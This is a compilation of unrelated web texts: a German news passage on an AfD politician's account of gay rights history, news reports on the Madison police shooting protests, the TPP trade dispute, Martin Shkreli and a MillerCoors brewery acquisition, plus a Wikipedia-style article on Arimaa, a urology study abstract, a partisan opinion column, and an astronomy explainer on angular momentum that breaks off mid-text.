Als Karl Heinrich Ulrichs 1867 beim Juristentag eine rechtliche Anerkennung homosexueller Partnerschaften forderte, sei er "danach nicht gesteinigt worden und auch nicht vom Hochhaus geschubst worden", so Tassis. Ulrichs sei ein "großer Deutscher", ein "großer Patriot" gewesen. Man müsse "stolz" sein auf die "nationalkonservativen Denker" jener Zeit.
Tassis ignoriert freilich, dass der vermeintliche Patriot Ulrichs Deutschland entnervt von einer zunehmenden Repression gegenüber Homosexuellen den Rücken kehrte und ins Exil ging.
Während Tassis auf Magnus Hirschfeld und sein Schicksal nicht einging, bemühte er als Beispiel für die großen deutschen Denker einer homosexuellen Emanzipation noch dessen Zeitgenossen Hans Blüher. Er fasste ihn so zusammen, dass der Sinn von Homosexuellen sei, Heterosexuellen den Wert des christlichen Familienbildes und des Kinderkriegens bewusster zu machen.
Was Tassis bei diesem zurückgenommenen Plädoyer für eine Duldung nicht sagte: Blüher, "Wandervogel"-Chronist und Idealist eines homosexuell angehauchten, staatslenkenden Männerbundes, war Antisemit, Antifeminist und antidemokratisch-elitärer Adelsanhänger. Ein Volk werde nur durch einen Führer zum Volk, schrieb dieser "Denker" 1918. Nach dem Krieg hielt er fest, dass er dem Nationalsozialismus als "konservative Revolution" zunächst wohlwollend gegenübergestanden habe, diese Haltung aber nach der Ermordung des "freien Männerhelden" Röhms und der danach einsetzenden Homosexuellenverfolgung änderte. Hitler habe sich damit "gegen den deutschen Adel und die Oberschicht und für den Neandertaler und seine Provokateure" entschieden.
In Nürnberg, der Stadt der Reichsparteitage, ist man weniger geschichtsvergessen als Tassis. Die jährliche Demo zum Internationalen Tag gegen Homo- und Transphobie am 17. Mai führte traditionell entlang der Gedenkstätten der Stadt. Am Dienstag ging sie weiter bis zur AfD-Veranstaltung in der Meistersingerhalle; wenige Meter davon entfernt erinnert ein Dokumentationszentrum an die Reden und Massenaufmärsche der Nationalsozialisten auf dem ehemaligen Parteitagsgelände und an ihre Folgen. |
MADISON, Wis. (Reuters) - Close to 2,000 students marched in Wisconsin’s capital on Monday to protest the fatal police shooting of an unarmed biracial teenager, while his family demanded justice and the police chief apologized.
Candles are piled in the snow outside the home of Tony Robinson Jr. during a candlelight vigil on Williamson Street in Madison, Wisconsin March 8, 2015. REUTERS/Ben Brewer
Students crowded into the rotunda of the state Capitol in the morning, chanting and waving signs to protest the death of Tony Robinson, 19, shot on Friday by a white police officer.
Later, Turin Carter, Robinson’s uncle, said his family was calling for a thorough investigation and was concerned about the “systematic targeting of young black males,” but did not endorse blanket anti-police sentiments.
“We are not proponents of anti-police (attitudes)... We understand that law enforcement is necessary and mandatory and we need to change our mindset about the police,” Carter said at a news conference outside the house where Robinson was shot.
Standing near a memorial of candles and balloons, Carter said it was simplistic to call Robinson African American, saying he had a mixed heritage and his racial ambiguity was a central issue in his life.
Police shootings across the country have intensified concerns of racial bias in law enforcement.
Many teenagers at the morning protests were from Robinson’s alma mater, Sun Prairie High School.
“There is an indifference between people and police. We all need to come together,” said Ali Asafford, 15, after leaving class at Madison’s East High School. The march was orderly and police presence was minimal.
Officer Matt Kenny, the 12-year police veteran who shot Robinson, is on paid administrative leave while the Wisconsin Department of Justice investigates the shooting. In 2007, Kenny was involved in a fatal shooting that was found to be justified.
Police Chief Michael Koval apologized on Monday after praying with Robinson’s grandmother over the weekend and pledging transparency in the investigation.
“Reconciliation cannot begin without my stating ‘I am sorry,’ and I don’t think I can say this enough. I am sorry. I hope that, with time, Tony’s family and friends can search their hearts to render some measure of forgiveness,” Koval wrote in his blog.
Attorney General Brad Schimel asked the public to be patient with the investigation, saying his office would not be able to disclose details since it could taint testimony from witnesses.
Official efforts to be transparent, apologetic and light-handed with protesters followed months of heightened attention to police use of deadly force across the United States.
Last year, the police shooting death of black teenager Michael Brown in Ferguson, Missouri, set off weeks of protests that sometimes turned violent. Police reaction was criticized as heavy-handed, and critics were outraged at the long delay in releasing the name of the officer who shot Brown.
Madison, a city of 240,000 people about 80 miles (130 km) west of Milwaukee, has a mostly white population. The city is 7 percent African-American, U.S. Census figures show.
On Friday night, Kenny, 45, responded to reports of an assault and a man dodging cars in traffic. Kenny followed the suspect into a dwelling. Koval said the officer was struck in the head and then shot the unarmed teen.
Last year, Robinson pleaded guilty to armed robbery, and was placed on probation. Sentencing documents show it was his first brush with the law, and he was not the armed person in the group that committed the robbery.
Concern about Wisconsin’s own history of police use of deadly force prompted passage of a law last year requiring independent investigators to probe such incidents. The bill had support from police associations.
The head of the local NAACP chapter said the Madison police department did not engage in the sort of racial targeting that the U.S. Justice Department found prevalent in Ferguson.
“I have observed what I think is a very effective community policing structure, and I think it makes a difference,” said Greg Jones, president of the Dane County chapter of the advocacy group. |
Not to be confused with ARIMA
Arimaa () (ə-REE-mə) is a two-player strategy board game that was designed to be playable with a standard chess set and difficult for computers while still being easy to learn and fun to play for humans. Since 2004, the Arimaa community has held three annual tournaments: a World Championship (humans only), a Computer Championship (computers only), and the Arimaa Challenge (human vs. computer). In 2015, the challenge was won decisively by the computer (Sharp by David Wu), with top players agreeing that computers had become better at the game than humans.[1] As it was a prerequisite for the prize to be awarded, Wu published a paper describing the algorithm and most of ICGA Journal Issue 38/1 was dedicated to this topic.[2] The algorithm combined traditional alpha–beta pruning (changing sides every 4 ply) with heuristic functions manually written while analysing human expert games.[3]
Arimaa was invented in 2003 by Omar Syed,[4] an Indian-American computer engineer trained in artificial intelligence. Syed was inspired by Garry Kasparov's defeat at the hands of the chess computer Deep Blue to design a new game which could be played with a standard chess set, would be difficult for computers to play well, but would have rules simple enough for his then four-year-old son Aamir to understand.[5] ("Arimaa" is "Aamir" spelled backwards plus an initial "a".)
Arimaa has won several awards including GAMES Magazine 2011 Best Abstract Strategy Game,[6] Creative Child Magazine 2010 Strategy Game of the Year,[7] and the 2010 Parents' Choice Approved Award.[8] It has also been the subject of several research papers.
Rules [ edit ]
Arimaa is played on an 8×8 board with four trap squares. There are six kinds of pieces, ranging from elephant (strongest) to rabbit (weakest). Stronger pieces can push or pull weaker pieces, and stronger pieces freeze weaker pieces. Pieces can be captured by dislodging them onto a trap square when they have no orthogonally adjacent friendly pieces.
The two players, Gold and Silver, each control sixteen pieces. These are, in order from strongest to weakest: one elephant ( ), one camel ( ), two horses ( ), two dogs ( ), two cats ( ), and eight rabbits ( ). These may be represented by the king, queen, rooks, bishops, knights, and pawns respectively when one plays using a chess set.[9]
Diagram 1
The players begin by setting up their pieces however they choose on their home rows.
Objective [ edit ]
The main object of the game is to move a rabbit of one's own color onto the home rank of the opponent, which is known as a goal. Thus Gold wins by moving a gold rabbit to the eighth rank, and Silver wins by moving a silver rabbit to the first rank. However, because it is difficult to usher a rabbit to the goal line while the board is full of pieces, an intermediate objective is to capture opposing pieces by pushing or pulling them into the trap squares.
The game can also be won by capturing all of the opponent's rabbits (elimination) or by depriving the opponent of legal moves (immobilization). Compared to goal, these are uncommon.
Setup [ edit ]
The game begins with an empty board. Gold places the sixteen gold pieces in any configuration on the first and second ranks. Silver then places the sixteen silver pieces in any configuration on the seventh and eighth ranks. Diagram 1 shows one possible initial placement.
Diagram 2
In the diagrammed position, if it were Gold's turn to move, Gold could win in three steps: The dog on a6 can push the rabbit on a7 to a8, thereby unfreezing the rabbit on b7, which can step to b8 for the victory.
Movement [ edit ]
After the pieces are placed on the board, the players alternate turns, starting with Gold. A turn consists of making one to four steps. With each step a piece may move into an unoccupied square one space left, right, forward, or backward, except that rabbits may not step backward. The steps of a turn may be made by a single piece or distributed among several pieces in any order.
A turn must make a net change to the position. Thus one cannot, for example, take one step forward and one step back with the same piece, effectively passing the turn and evading zugzwang. Furthermore, one's turn may not create the same position with the same player to move as has been created twice before. This rule is similar to the situational super ko rule in the game of Go, which prevents endless loops, and is in contrast to chess where endless loops are considered draws. The prohibitions on passing and repetition make Arimaa a drawless game.
Pushing and pulling [ edit ]
The second diagram, from the same game as the initial position above,[10] helps illustrate the remaining rules of movement.
A player may use two consecutive steps of a turn to dislodge an opposing piece with a stronger friendly piece which is adjacent in one of the four cardinal directions. For example, a player's dog may dislodge an opposing rabbit or cat, but not a dog, horse, camel, or elephant. The stronger piece may pull or push the adjacent weaker piece. When pulling, the stronger piece steps into an empty square, and the square it came from is occupied by the weaker piece. The silver elephant on d5 could step to d4 (or c5 or e5) and pull the gold horse from d6 to d5. When pushing, the weaker piece is moved to an adjacent empty square, and the square it came from is occupied by the stronger piece. The gold elephant on d3 could push the silver rabbit on d2 to e2 and then occupy d2. Note that the rabbit on d2 can't be pushed to d1, c2, or d3, because those squares are not empty.
Friendly pieces may not be dislodged. Also, a piece may not push and pull simultaneously. For example, the gold elephant on d3 could not simultaneously push the silver rabbit on d2 to e2 and pull the silver rabbit from c3 to d3. An elephant can never be dislodged, since there is nothing stronger.
Freezing [ edit ]
A piece which is adjacent in any cardinal direction to a stronger opposing piece is frozen, unless it is also adjacent to a friendly piece. Frozen pieces may not be moved by the owner, but may be dislodged by the opponent. A frozen piece can freeze another still weaker piece. The silver rabbit on a7 is frozen, but the one on d2 is able to move because it is adjacent to a silver piece. Similarly the gold rabbit on b7 is frozen, but the gold cat on c1 is not. The dogs on a6 and b6 do not freeze each other because they are of equal strength. An elephant cannot be frozen, since there is nothing stronger, but an elephant can be blockaded.
Capturing [ edit ]
A piece which enters a trap square is captured and removed from the game unless there is a friendly piece orthogonally adjacent. Silver could move to capture the gold horse on d6 by pushing it to c6 with the elephant on d5. A piece on a trap square is captured when all adjacent friendly pieces move away. Thus if the silver rabbit on c4 and the silver horse on c2 move away, voluntarily or by being dislodged, the silver rabbit on c3 will be captured.
Note that a piece may voluntarily step into a trap square, even if it is thereby captured. Also, the second step of a pulling maneuver is completed even if the piece doing the pulling is captured on the first step. For example, Silver could step the silver rabbit from f4 to g4 (so that it will no longer support pieces at f3), and then step the silver horse from f2 to f3, which captures the horse; the horse's move could still pull the gold rabbit from f1 to f2.
Strategy and tactics [ edit ]
For beginning insights into good play, see the Arimaa Wikibook.
Karl Juhnke, twice Arimaa world champion,[11] has written a book titled Beginning Arimaa which gives an introduction to Arimaa tactics and strategies. Also Jean Daligault, six time Arimaa world champion,[11] wrote Arimaa Strategies and Tactics which is geared towards those who have started playing Arimaa and want to improve their game.
Annual tournaments [ edit ]
World Championship [ edit ]
Each year since 2004 the Arimaa community has held a World Championship tournament.[11] The tournament is played over the Internet and is open to everyone. The current world champion is Matthew Craven of the United States of America.[11] Past world champion title holders are:[11]
2004 – Frank Heinemann of Germany
2005 – Karl Juhnke of USA
2006 – Till Wiechers of Germany
2007 – Jean Daligault of France
2008 – Karl Juhnke of USA
2009 – Jean Daligault of France
2010 – Jean Daligault of France
2011 – Jean Daligault of France
2012 – Hirohumi Takahashi of Japan
2013 – Jean Daligault of France
2014 – Jean Daligault of France
2015 – Mathew Brown of USA
2016 – Mathew Brown of USA
2017 – Mathew Brown of USA
2018 – Matthew Craven of USA
World Computer Championship [ edit ]
Each year from 2004 to 2015 the Arimaa community held a World Computer Championship tournament.[11] The tournament is played over the Internet and is open to everyone. The current champion is bot_sharp developed by David Wu of the USA.[11] Past computer world champion title holders are:[11]
2004 – bot_Bomb developed by David Fotland of USA
2005 – bot_Bomb developed by David Fotland of USA
2006 – bot_Bomb developed by David Fotland of USA
2007 – bot_Bomb developed by David Fotland of USA
2008 – bot_Bomb developed by David Fotland of USA
2009 – bot_clueless developed by Jeff Bacher of Canada
2010 – bot_marwin developed by Mattias Hultgren of Sweden
2011 – bot_sharp developed by David Wu of USA
2012 – bot_marwin developed by Mattias Hultgren of Sweden
2013 – bot_ziltoid developed by Ricardo Barreira of Portugal
2014 – bot_sharp developed by David Wu of USA
2015 – bot_sharp developed by David Wu of USA
Arimaa Challenge [ edit ]
The Arimaa Challenge was a cash prize of around $10,000 that was to have been available annually until 2020 for the first computer program to win the human-versus-computer Arimaa challenge.[12] As part of the conditions of the prize, the computer program must run on standard, off-the-shelf hardware.[12]
The Arimaa Challenge has been held twelve times, starting in 2004. Following the third match, Syed changed the format to require the software to win two out of three games against each of three players, to reduce the psychological pressure on individual volunteer defenders. Also Syed called for outside sponsorship of the Arimaa Challenge to build a bigger prize fund.
Year Prize[a] Challenger / Developer Human Defender (Human Rank)[13][b] Result Notes 2004 $10,000 Bomb /
David Fotland Omar Syed (1) 0–8 Syed gave a rabbit handicap in the last game and won. 2005 $10,000 Bomb /
David Fotland Frank Heinemann (5) 1–7 No handicap games 2006 $17,500 Bomb /
David Fotland Karl Juhnke (1)
Greg Magne (2)
Paul Mertens (5) 0–3
0–3
1–2 Mertens gave a camel handicap in his last game and lost. 2007 $17,100 Bomb /
David Fotland Karl Juhnke (1)
Omar Syed (9)
Brendan M (12)
N Siddiqui (23) 0–3
0–3
0–2
1–0 Juhnke gave handicaps of a dog, a horse, and a camel respectively, and won all three. Syed gave a cat handicap in his last game and won. Siddiqui substituted for Brendan's third game. 2008 $17,000 Bomb /
David Fotland Jean Daligault (2)
Greg Magne (3)
Mark Mistretta (20)
Omar Syed (24) 0–3
0–3
0–1
0–2 No handicap games. Syed substituted for Mistretta's final two games. 2009 $16,500 Clueless /
Jeff Bacher Jean Daligault (1)
Karl Juhnke (2)
Jan Macura (14)
Omar Syed (18) 0–2
1–2
1–2
0–1 Juhnke gave a dog handicap in his second game and lost. Daligault gave a horse handicap in his last game and won. Syed substituted for Daligault's first game. 2010 $16,250 Marwin /
Mattias Hultgren Greg Magne (3)
Louis-Daniel Scott (10)
Patrick Dudek (23) 0–3
1–2
2–1 Scott gave a dog handicap in his second game and lost. 2011 $11,000 Marwin /
Mattias Hultgren Karl Juhnke (3)
Gregory Clark (7)
Toby Hudson (14) 1–2
0–3
0–3 Juhnke gave a cat handicap in his last game and lost. 2012 $11,150 Briareus /
Ricardo Barreira Jean Daligault (1)
Hirohumi Takahashi (2)
Eric Momsen (5) 0-3
0-3
3-0 Takahashi gave a cat handicap in his last game and won. 2013 $11,000 Marwin /
Mattias Hultgren Mathew Brown (4)
Greg Magne (6)
Matthew Craven (31) 0-3
0-3
1-2 Magne gave a cat handicap in his last game and won. Brown gave a horse handicap in his last game and won. 2014 $12,000 Ziltoid /
Ricardo Barreira Karl Juhnke (3)
Samuel Schüler (12)
Max Manual (73)[c] 0-3
1-2
1-2 No handicap games. 2015 $12,000 Sharp /
David Wu Mathew Brown (1)
Jean Daligault (4)
Lev Ruchka (13) 2-1
2-1
3-0 David Wu wins the Arimaa Challenge.
In the first five challenge cycles, David Fotland, programmer of Many Faces of Go, won the Arimaa Computer Championship and the right to play for the prize money, only to see his program beaten decisively each year. In 2009 Fotland's program was surpassed by several new programs in the same year, the strongest of which was Clueless by Jeff Bacher. Humanity's margin of dominance over computers appeared to widen each year from 2004 to 2008 as the best human players improved, but the 2009 Arimaa Challenge was more competitive. Clueless became the first bot to win two games of a Challenge match.
In 2010, Mattias Hultgren's bot Marwin edged out Clueless in the computer championship. In the Challenge match Marwin became the first bot to win two out of three games against a single human defender, and also the first bot to win three of the nine games overall. In 2011, however, Marwin won only one of the nine games, and that one having received a material handicap. In 2012 a new challenger, Briareus, became the first program to defeat a top-ten player, sweeping all three games from the fifth-ranked human. In 2013, however, the humans struck back against Marwin, with #4 and #6 each sweeping including a handicap win, and #31 winning two of three games. In 2014, the computer bounced back to win two games, albeit no matches.
In 2015, Sharp made a substantial leap in playing strength. After having scored 6-6 in twelve games against its top two computer rivals the previous year, Sharp went undefeated in the computer tournaments of 2015, including 13-0 against the second- and third-place finishers. Sharp dominated the pre-Challenge screening against human opponents, winning 27 of 29 games. In the Challenge itself, Sharp clinched victory in each of the three mini-matches by winning the first six games, finishing 7-2 overall and winning the Arimaa challenge.[12]
After DeepMind's AlphaZero mastered Go, Chess, and Shogi simply by playing itself, Omar Syed announced a $10,000 prize for the creation of such an Arimaa bot which could win a 10-game match against Sharp. This has not yet been done.[14]
Patent and trademark [ edit ]
US PAT No. 6,981,700 was filed on 3 October 2003, and granted on 3 January 2006. Omar Syed also holds a trademark on the name "Arimaa".
Syed has stated that he does not intend to restrict noncommercial use and has released a license called "The Arimaa Public License" with the declared intent to "make Arimaa as much of a public domain game as possible while still protecting its commercial usage". Items covered by the license are the patent and the trademark.
See also [ edit ]
Notes [ edit ]
^ The history of prize fund pledges is as follows: In 2002 Omar Syed pledged $10,000 until 2020; Prior to 2006 Omar Syed pledged an additional $5,000 until 2010; Prior to 2006 Paul Mertens pledged $2,000 for 2006, $1,500 for 2007, $1,000 for 2008, $500 for 2009, and $250 for 2010; Prior to 2006 Karl Juhnke pledged $500 for 2006; Prior to 2007 Karl Juhnke pledged $600 for 2007; Prior to 2008 Karl Juhnke pledged $1,000 for 2008; Prior to 2009 Karl Juhnke pledged $1,000 for 2009; Prior to 2010 Karl Juhnke pledged $1,000 for 2010; Prior to 2011 Karl Juhnke pledged $1,000 for 2011 ^ The listed ranks include inactive players. Among active players only, the 2010 ranks were Magne(3), Scott(9), Dudek(16), the 2011 ranks were Juhnke(3), Clark(5), Hudson(10), the 2012 ranks were the same as listed, the 2013 ranks were Brown(3), Magne(5), Craven(17), the 2014 ranks were Juhnke(2), Schüler(10), and Manual(33), and the 2015 ranks were Daligault(3) and Ruchka(10). ^ Manual was an anti-computer specialist with too few games against human opponents for accurate ranking.
References [ edit ]
Further reading [ edit ] |
Abstract
Purpose:
We compared culture independent assessment of microbiota of the lower urinary tract in standard culture negative female patients with urological chronic pelvic pain syndrome who reported symptom flare vs those who did not report a flare.
Materials and Methods:
Initial stream (VB1) and midstream (VB2) urine specimens (233 patients with urological chronic pelvic pain syndrome) were analyzed with Ibis T-5000 Universal Biosensor system technology for comprehensive identification of microorganism species. Differences between flare and nonflare groups for presence or number of different species within a higher level group (richness) were examined by permutational multivariate analysis of variance and logistic regression.
Results:
Overall 81 species (35 genera) were detected in VB1 and 73 (33) in VB2. Mean (SD) VB1 and VB2 species count per person was 2.6 (1.5) and 2.4 (1.5) for 86 flare cases and 2.8 (1.3) and 2.5 (1.5) for 127 nonflare cases, respectively. Overall the species composition did not significantly differ between flare and nonflare cases at any level (p=0.14 species, p=0.95 genus in VB1 and VB2, respectively) in multivariate analysis for richness. Univariate analysis, unadjusted as well as adjusted, confirmed a significantly greater prevalence of fungi (Candida and Saccharomyces) in the flare group (15.7%) compared to the nonflare group in VB2 (3.9%) (p=0.01). When adjusted for antibiotic use and menstrual phase, women who reported a flare remained more likely to have fungi present in VB2 specimens (OR 8.3, CI 1.7–39.4).
Conclusions:
Among women with urological chronic pelvic pain syndrome the prevalence of fungi (Candida and Saccharomyces sp.) was significantly greater in those who reported a flare compared to those who did not. |
Sen. Elizabeth Warren is not backing down in her battle with President Barack Obama over the Trans-Pacific Partnership, a massive, 12-country trade deal that has divided the Democratic Party and triggered a volley of critical statements between the Massachusetts Democrat and the commander-in-chief.
‘The history of these agreements betrays a harsh truth.’ Sen. Elizabeth Warren (D-MA)
“The history of these agreements betrays a harsh truth: that the actual enforcement of labor provisions of past U.S. [free trade agreements] lags far behind the promises,” the report claims. “This analysis by the staff of Sen. Warren reveals that despite decades of nearly identical promises, the United States repeatedly fails to enforce or adopts unenforceable labor standards in free trade agreements.”
RELATED: Democrats wage civil war over trade deal
I’ve joined @SenatorHeitkamp, @Sen_JoeManchin, & 12 other senators on an amdt: No Fast Track on any deal with ISDS: http://t.co/2wTmOt5oMh — Elizabeth Warren (@SenWarren) May 18, 2015 Broken Promises: Decades of Failure to Enforce Labor Standards in Free Trade Agreements,” takes the United States to task for consistently failing to enforce labor protections in its trade deals, and points to ongoing labor-related human rights abuses in 11 of the 20 countries with which the U.S. currently has free trade agreements. “The TPP is being hailed as the strongest free trade agreement yet. But this is not the first time this claim has been made,” the report concludes, seeking to undermine Obama’s claim that TPP would be “the most progressive trade bill in history.”
Obama, who is pushing Congress to approve so-called “fast-track” authorization for the trade deal, which he is still negotiating with 11 South American and Pacific Rim countries, has called liberal critics of the agreement “just wrong.”
“They’re making this stuff up,” Obama said earlier this month in response to Warren, who has said the TPP would make it easier for corporations to ship jobs abroad and could allow Wall Street to weaken provisions in the Dodd-Frank financial reform law. “This is just not true.”
RELATED: Obama on Elizabeth Warren: It’s not personal
The president later emphasized that his disagreement with Warren “has never been personal,” as the rift grows between pro-trade Democrats and the party’s progressive wing, threatening to spill out into the 2016 election. Hillary Clinton, the Democratic Party’s heir apparent to the presidential nomination, has avoided taking a stand either way on the trade issue as the intra-party conflagration continues. |
Turing Pharmaceuticals CEO Martin Shkreli (CBS/screen grab)
Turing Pharmaceuticals CEO Martin Shkreli accused Sen. Bernie Sanders (I-VT) of taking “cheap shots” against him while also challenging the Democratic presidential candidate to a debate, Attn reported.
Shkreli, who became known as “Pharma Bro” after being widely criticized for raising the price of the medication Daraprim from $13.50 a pill to $750 a pill last month, lashed out at Sanders through his Twitter account.
“It’s amazing to me that you, desiring to be the leader of our country, are so misinformed,” Shkreli wrote. “Let’s have a public debate on this.”
He also accused the senator of not understanding the healthcare industry, saying, “I hope he debates this topic with me instead of relying on soundbites and cheap shots.”
Shkreli’s tweets can be seen below.
@SenSanders It's amazing to me that you, desiring to be the leader of our country, are so misinformed. Let's have a public debate on this.
— Martin Shkreli (@MartinShkreli) October 9, 2015
Senator @BernieSanders doesn't understand healthcare. I hope he debates this topic with me instead of relying on soundbites and cheap shots. — Martin Shkreli (@MartinShkreli) October 9, 2015
The former hedge fund manager’s attack came after Sanders and Rep. Elijah Cummings (D-MD) contacted him on Sept. 21 asking for financial information about Turing Pharmaceuticals.
The two lawmakers later said in a statement that, after promising to lower the price of the drug in response to the public backlash, Shkreli “hired an army of new Washington lobbyists and lawyers to stem the massive fallout from his actions and to stymie congressional oversight.”
Shkreli fired back saying Sanders “should be ashamed” for attacking the industry, and later rejecting allegations that he raised the price of Daraprim out of greed.
“I don’t even own a car,” he wrote. “I don’t even have a driver’s license. Our company is not profitable. My salary is $0. I give millions to charity.”
Those tweets can be seen below.
Attacking the pharmaceutical industry that creates jobs and leads the world in advances in medical research–@SenSanders should be ashamed. — Martin Shkreli (@MartinShkreli) October 9, 2015 |
How do you top making national news for bigotry? Trying getting people to "Give Up (Eating) Hamburgers to Stop Climate Change."
For loony lefty syndicated columnist David Sirota, it's all just another day at the office. Sirota made national news for his bizarre and bigoted hope that the Boston bomber would turn out to be "a white American."
Fresh off that fiasco, Sirota has turned his sights to changing the climate by changing America's diet. According to Sirota's May 2 column, "the fastest way to reduce climate change" simply "requires us all to eat fewer animal products." In case that wasn't sufficiently clear, he added that "we are incinerating the planet and dooming future generations simply because too many of us like to eat cheeseburgers." Sirota's article on the left-wing site Salon included a photo of what appeared to be a bacon cheeseburger with an egg on top of it.
"That's right; essentially, if every fourth time someone craved, say, beef, chicken or cow milk they instead opted for a veggie burger, a bean burrito or water, we have a chance to halt the emergency," he added.
But Sirota wasn't optimistic that conservatives would join him in his veggie crusade. "I'm sure some conservatives will read this column and send me email smugly pledging to eat even more meat than they already do, just to make some incoherent point about freedom." Somehow "freedom" is always incoherent to the left. No matter. We either stop eating what we want or we are endangering what Sirota called our "ecological survival."
The left has been making what we eat their business for years, but it has escalated under the leadership of First Lady Michelle Obama and New York Nanny State Mayor Michael Bloomberg. With extreme groups like the Center for Science in the Public Interest and Food Democracy Now, that trend has accelerated. Liberals have targeted a wide variety of foods and drinks, portion size, menu information, what's in the food, what restaurants can serve and where they can even be located.
See more "Right Views, Right Now." |
MillerCoors, one of the world’s largest brewing companies, announced Thursday plans to buy a controlling share of San Diego’s Saint Archer Brewery.
The sale, expected to close within 30 days, is a milestone in the local craft beer industry: The first time an international corporation has bought a local brewery.
“This was about partnering with someone who can help us keep growing and brewing more great beer,” said Josh Landan, Saint Archer’s co-founder and president. “From the start, our number one goal was to get Saint Archer to the most people possible.”
View the photo gallery: MillerCoors buys St. Archer
The sale price was not revealed, although Landan said that Saint Archer’s employees and investors will have equity in the new venture. The entire staff of roughly 50 people, including a brewing team led by Kim Lutz and Yiga Miyashiro, will remain intact.
“All the beers are going to stay the same,” Landan said. “It’s really business as usual.”
Yet the deal represents a significant change to the local beer marketplace. Now in its third year, Saint Archer is a mid-sized operation that will sell an estimated 35,000 barrels of beer this year — far behind Stone and Ballast Point, the county’s largest breweries, each of which is poised to sell about 300,000 barrels in 2015.
Yet MillerCoors’ craft beer division, Tenth and Blake, has ambitious plans for Saint Archer.
“With this brand, Josh has aspirations to take it beyond California and to be a national brand,” said Scott Whitley, president of Tenth and Blake. “We think it has that potential, and we want to do it.”
Unlike many founders of San Diego breweries, Landan is not a homebrewer. The Sacramento native is a filmmaker whose documentaries — “Flow,” “Against the Grain,” “Me Myself and I” — focus on snowboarders and surfers. He was living in Ventura when drinking sessions with friends inspired the creation of Saint Archer.
“Craft beer is the one thing that brings everyone together,” said Landan, 36. “It sounded like a ton of fun.”
Backed by a group of investors that included skateboarders, snowboarders and surfers, Landed rented space in an industrial park, hired a staff and began selling beer. While its marketing campaigns stress athletics, Saint Archer has had some success with beer geeks. Its White Ale won a gold medal at last year’s Great American Beer Festival, and the brewery left this summer’s San Diego International Beer Festival with four medals.
Calling this a “lifestyle brand” is “unfair to the beer,” Whitley said. “There’s a terrific crowd of people who are loyal to the brand, but the beer is terrific.”
Yet the brand’s high-profile “beer ambassadors,” including professional athletes and musicians, alienated some in the local brewing fraternity.
“It seemed like they were using their semi-celebrity status to cash in as the hot brand,” said Tom Nickel, owner of O’Brien’s Pub in Kearny Mesa and Nickel Beer in Julian.
“There are a number of brands that have been trying to help further the legacy of San Diego’s making great beers. I wouldn’t put Saint Archer in that fold.”
By selling to MillerCoors, moreover, Saint Archer enters the “craft vs. crafty” debate, where purists scorn breweries acquired by conglomerates. The Brew Project, a local beer bar, used its Twitter account to slam the news: “Shameful day in the San Diego craft brewing community.”
In fact, response on social media has ranged from scathing to approving to awesomely weird:
Modern Times Beer Modern Times Beer: Still brewed, canned, & owned by a bunch of random crackpots behind a strip club. pic.twitter.com/DeYYWdaAj5 — Modern Times Beer (@ModernTimesBeer) September 10, 2015
“Craft beer is so local — it’s owned, at least metaphorically, by its fans,” said Gonzalo Quintero, who teaches a craft beer course at San Diego State University. “For this organization not to understand that is beyond a faux pas.”
Landan said he’s not concerned about any backlash: “I’m just not worried about that. I’m worried about making the best beer possible, and that’s it.”
Saint Archer’s sale was announced one day after Petaluma’s Lagunitas sold a 50 percent share to Holland’s Heineken. Losing sales to upstart craft breweries, brewing behemoths like Anheuser-Busch and Belgium’s Duvel Moortgat have been snapping up craft beer properties.
“If you can’t beat ’em, buy ’em,” said Brian Mulvaney, a senior vice president and beverage industry analyst for Bank of America/Merrill Lynch.
Saint Archer, in Mulvaney’s view, was a prime target: “They are focused on the younger, action sports consumer. And with that, they have developed a nice set of brands and flavors that were more sessionable, a little lighter.”
While Whitley said MillerCoors is not currently considering other San Diego purchases, Mulvaney isn’t so sure.
“There’s more to come,” he said. “I think you are going to see more acquisitions, more partnerships.” |
"Galileo got it wrong. The Earth does not revolve around the Sun. It revolves around you and has been doing so for decades. At least, this is the model you are using." -Srikumar Rao
It's the end of the week, so that means its time to take on another one of your questions from the question/suggestion box, and continue our ongoing Ask Ethan series! Even though there's a backlog of hundreds of questions, you should keep sending the new ones in, as all questions are fair game for any segment. This week's question comes from reader Brian Mucha, who asks us:
Where did the sun and planets get their angular momentum resulting in their rotation. I am not asking about the orbits but the actual rotation. I understand the ice skater analogy where bringing in the extended arms increase the skaters rotation due to the conservation of angular momentum. But the skater starts with spin. IF the skater is standing still they can extend and retract their arms all day and they wont spin. So when the planets and the sun started to form how was their initial angular momentum achieved?
Ahh, the old question of rotation, and why everything does it.
It's easy to make something spin faster once it's already going: you just change its moment of inertia.
What does that term mean, moment of inertia?
Image credit: PDFcast and Utah Electronic High School
You know Newton's second law: the one that tells you force is equal to mass times acceleration (F = ma). Technically, it's a little more accurate to say that force is how another quantity -- momentum -- changes over time. It means if you apply any external force to a mass, its momentum -- or how it's currently moving -- will change, and it tells you exactly by what amount it will change. And if you don't apply an external force to something, its momentum cannot change.
And if everything in the entire Universe only consisted of point masses along the same line, we'd never need anything else. But in the real Universe, masses-in-motion are distributed in more than one dimension.
Image credit: Greg L at the English language Wikipedia.
And whenever you have that, your system has not just momentum, but also angular momentum. And while momentum changes are dependent on mass, angular momentum changes are dependent on a combination of the mass and how that mass is distributed. That combination of factors -- mass and how it's distributed -- is what makes up moment of inertia. So yes, Newton's second law relates how objects change their momentum (i.e., how masses experience changes in their velocities), and there's an equivalent law that relates how objects change their angular momentum, or how moments of inertia experience changes in their rate of rotation.
Images credit: Markus Pössel, Einstein Online Vol. 3 (2007), 1011.
How the figure skater who pulls her arms and legs in spins faster is one example of this: as her mass becomes distributed closer to the axis-of-rotation (and her moment of inertia gets smaller), her rotation rate increases to compensate. If your mass-and-how-it's-distributed changes (goes up or down), your rate of rotation will also change (go down or up) to compensate. But just like Newton's second law tells you that you can change a system's momentum by applying an outside force, you can change a system's angular momentum by applying an outside torque.
Image credit: Wikimedia Commons user Yawe.
And a torque is just a force applied in such a way that it causes an object's rotation to change.
Image credit: NASA, ESA, and the Hubble Heritage Team (STScI/AURA).
Now here's where it gets interesting: every star system in the Universe once began as a cloud of gas-and-dust. These clouds may have been thousands or millions (or in some rare cases, maybe even larger) of times the mass of our Sun, but they were once incredibly diffuse, and spread out across many hundreds or thousands of light years. If these gas clouds had (or the ones we see today have) any sort of global rotation to them, it's far too small to be detectable, as it would take billions of years for such a gas cloud to make even one complete rotation.
Image credit: NASA/ESA and The Hubble Heritage Team (STScI/AURA)
